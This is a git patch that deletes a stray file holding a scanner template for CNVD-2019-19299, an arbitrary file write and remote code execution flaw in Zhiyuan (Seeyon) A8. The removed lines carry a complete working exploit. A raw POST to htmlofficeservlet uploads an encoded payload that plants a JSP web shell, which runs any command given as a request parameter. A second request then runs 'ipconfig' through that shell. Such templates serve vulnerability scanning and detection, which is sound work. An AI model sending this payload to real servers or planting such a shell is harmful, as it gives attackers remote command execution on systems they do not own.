From 9cf5b3bd872fb2c666bf5c051ead2e76a7fc5695 Mon Sep 17 00:00:00 2001 From: sullo Date: Mon, 9 May 2022 09:16:11 -0400 Subject: [PATCH] Remove unnecessary file --- null | 49 ------------------------------------------------- 1 file changed, 49 deletions(-) delete mode 100644 null diff --git a/null b/null deleted file mode 100644 index 15ade36db2..0000000000 --- a/null +++ /dev/null @@ -1,49 +0,0 @@ -id: CNVD-2019-19299 -# test -info: - name: Zhiyuan A8 Arbitrary File Write (RCE) - author: daffainfo - severity: critical - reference: - - https://www.cxyzjd.com/article/guangying177/110177339 - - https://github.com/sectestt/CNVD-2019-19299 - tags: zhiyuan,cnvd,cnvd2019,rce - -requests: - - raw: - - | - POST /seeyon/htmlofficeservlet HTTP/1.1 - Host: {{Hostname}} - Pragma: no-cache - Cache-Control: no-cache - Upgrade-Insecure-Requests: 1 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q =0.8,application/signed-exchange;v=b3 - Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 - Connection: close - - DBSTEP V3. 0 343 0 658 DBSTEP=OKMLlKlV - OPTION=S3WYOSWLBSGr - currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 - = WUghPB3szB3Xwg66 the CREATEDATE - recordID = qLSGw4SXzLeGw4V3wUw3zUoXwid6 - originalFileId = wV66 - originalCreateDate = wUghPB3szB3Xwg66 - FILENAME = qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs - needReadFile = yRWZdAS6 - originalCreateDate IZ = 66 = = wLSGP4oEzLKAz4 - <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder ();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine( )) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString() ;} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("{{randstr}}"))){out.println("
" +excuteCmd(request.getParameter("{{randstr}}")) + "
");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce - - - | - GET /seeyon/test123456.jsp?pwd=asasd3344&{{randstr}}=ipconfig HTTP/1.1 - Host: {{Hostname}} - - req-condition: true - matchers: - - type: dsl - dsl: - - 'status_code_2 == 200' - - 'contains(body_1, "htmoffice operate")' - - 'contains(body_2, "Windows IP")' - condition: and - -# Enhanced by cs on 2022/05/06